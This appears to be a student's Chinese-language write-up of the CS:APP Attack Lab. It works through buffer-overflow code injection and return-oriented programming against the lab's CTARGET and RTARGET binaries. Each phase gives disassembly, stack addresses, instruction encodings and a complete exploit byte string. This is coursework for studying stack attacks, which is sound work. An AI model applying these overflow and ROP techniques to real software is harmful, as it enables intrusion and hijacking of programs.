- 了解攻击者如何从缺乏缓冲区溢出防护的程序中寻找安全漏洞;
- 了解如何利用编译器和操作系统提供的特性,编写更加安全的程序;
- 理解栈的原理,以及 x86-64 传参机制;
- 理解 x86-64 指令的编码方式;
- 练习使用 GDB 和 OBJDUMP。
对于栈的起始地址在每次运行时都不改变的程序,如果该程序接受长度不定的用户输入,并将用户输入存储于位于栈的大小固定的缓冲区中,那么攻击者可以精心设计输入,在造成缓冲区溢出的同时,修改上层栈的内容,达成返回到特定代码块等效果;如果程序允许执行存储于栈中的指令,攻击者还可以在输入中添加指令,并使这些指令得到执行。
如果栈的起始地址在每次运行时不固定,或者不允许执行存储于栈中的指令,那么代码注入的难度将会加大。但是,在这一情况下,攻击者仍然有机会拼凑原本已经位于程序中的代码片段,进而通过在上层栈中覆写对应于各代码片段的返回地址的序列,达到执行特定代码的目的。
目标:从 getbuf() 返回到 touch1()。
首先检查 getbuf() 的汇编实现:
00000000004017e7 <getbuf>:
4017e7: 48 83 ec 18 sub $0x18,%rsp
4017eb: 48 89 e7 mov %rsp,%rdi
4017ee: e8 7e 02 00 00 callq 401a71 <Gets>
4017f3: b8 01 00 00 00 mov $0x1,%eax
4017f8: 48 83 c4 18 add $0x18,%rsp
4017fc: c3 retq
第一条指令分配了 24 字节的栈空间作为缓冲区,据此攻击时可先用 24 个零字节填充该缓冲区(下同)。
再检查 touch1() 的地址:
00000000004017fd <touch1>:
综上,构造的二进制串可为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fd 17 40 00 00 00 00 00
目标:从 getbuf() 返回到 touch2()。要传入一个整数形式的 cookie,作为 touch2() 所要求的参数。
首先构造指令,将 %edi 的值赋为 cookie。cookie 的值为 0x4ad753f3,据此设计指令:
mov $0x4ad753f3, %edi
retq
以上指令的编码结果为:
bf f3 53 d7 4a c3
现在要将以上编码结果存入栈中并执行。用 GDB 查询得 getbuf() 执行起始的栈顶地址为 0x000000005561d550,于是考虑在这一地址覆写地址值 0x000000005561d558,再在地址 0x000000005561d558 覆写自定义代码。执行上述编码结果前,还应先设置 %rsp 为位于上层栈中的另一地址,并在这一地址覆写 touch2() 的地址。设计为 %rsp 赋值的指令:
add $0x10, %rsp
以上指令的编码结果为:
48 83 c4 10
touch2() 的地址为 0x0000000000401829。综上,构造的二进制串可为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 d5 61 55 00 00 00 00
48 83 c4 10 bf f3 53 d7
4a c3 00 00 00 00 00 00
29 18 40 00 00 00 00 00
目标:从 getbuf() 返回到 touch3()。要传入一个字符串形式的 cookie,作为 touch3() 所要求的参数。
首先选取上层栈的某一位置存放 cookie 对应的空终止字符串。这里选取地址 0x000000005561d570(getbuf() 起始栈地址高 32 字节处),同时空终止字符串的二进制表示如下:
34 61 64 37 35 33 66 33 00
其余部分与 Phase 2 类似,但将 %rdi 的值赋为上述字符串所处地址,并用 touch3() 的地址替换 touch2() 的地址。设计为 %rdi 赋值的指令:
mov $0x000000005561d570, %rdi
以上指令的编码结果为:
48 c7 c7 70 d5 61 55
touch3() 的地址为 0x000000000040193a。综上,构造的二进制串可为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 d5 61 55 00 00 00 00
48 83 c4 10 48 c7 c7 70
d5 61 55 c3 00 00 00 00
3a 19 40 00 00 00 00 00
34 61 64 37 35 33 66 33
00
目标:同 Phase 2,但程序为 RTARGET。
在 RTARGET 中,将 cookie 存入寄存器的唯一方法是将 cookie 覆写到栈中,并执行 popq 指令。在 gadget farm 中找到了如下几条以 popq 指令开头并以 ret 结尾的 gadget:
# At 0x00000000004019e8
pop %rax
nop
retq
# At 0x00000000004019ed
pop %rsi
mov %rax, %rdi
retq
没有找到 pop %rdi,因此还要寻找 mov 指令。找到了如下几条:
# At 0x00000000004019ee
mov %rax, %rdi
retq
# At 0x0000000000401a6d
mov %rsp, %rax
nop
retq
据此,可先执行 pop %rax,再执行 mov %rax, %rdi。另外,touch2() 的地址为 0x0000000000401829。综上,构造的二进制串可为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e8 19 40 00 00 00 00 00
f3 53 d7 4a 00 00 00 00
ee 19 40 00 00 00 00 00
29 18 40 00 00 00 00 00
目标:同 Phase 3,但程序为 RTARGET。
在 RTARGET 中,不能事先获知栈地址,只能透过 %rsp 在运行时获知。因此要将 cookie 字符串的地址存入寄存器,就必须在某一时刻访问 %rsp 的值。
现在找到了一条加法指令:
# At 0000000000401a11
lea (%rdi,%rsi,1), %rax
retq
于是可以考虑将 getbuf() 执行起始的栈顶地址和 cookie 地址相对栈顶地址的偏移量(可事先确定)存入 %rdi 和 %rsi。除了加法指令,目前还有以下线索:
-
赋值链:
%rsp -> %rax -> %rdi; -
可通过
pop %rsi给%rsi赋值。
那么可以设计如下指令:
# At 0x0000000000401a6d
mov %rsp, %rax
nop
# At 0x00000000004019ed
pop %rsi
mov %rax, %rdi
# At 0x0000000000401a11
lea (%rdi,%rsi,1), %rax
# At 0x00000000004019ee
mov %rax, %rdi
touch3() 的地址为 0x000000000040193a。综上,构造的二进制串可为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
6d 1a 40 00 00 00 00 00
ed 19 40 00 00 00 00 00
28 00 00 00 00 00 00 00
11 1a 40 00 00 00 00 00
ee 19 40 00 00 00 00 00
3a 19 40 00 00 00 00 00
34 61 64 37 35 33 66 33
00
Visual Studio Code 有一个正则表达式文本搜索功能,可以批量搜索指令,这一功能在 Phase 4 和 Phase 5 中给我提供了很大的帮助。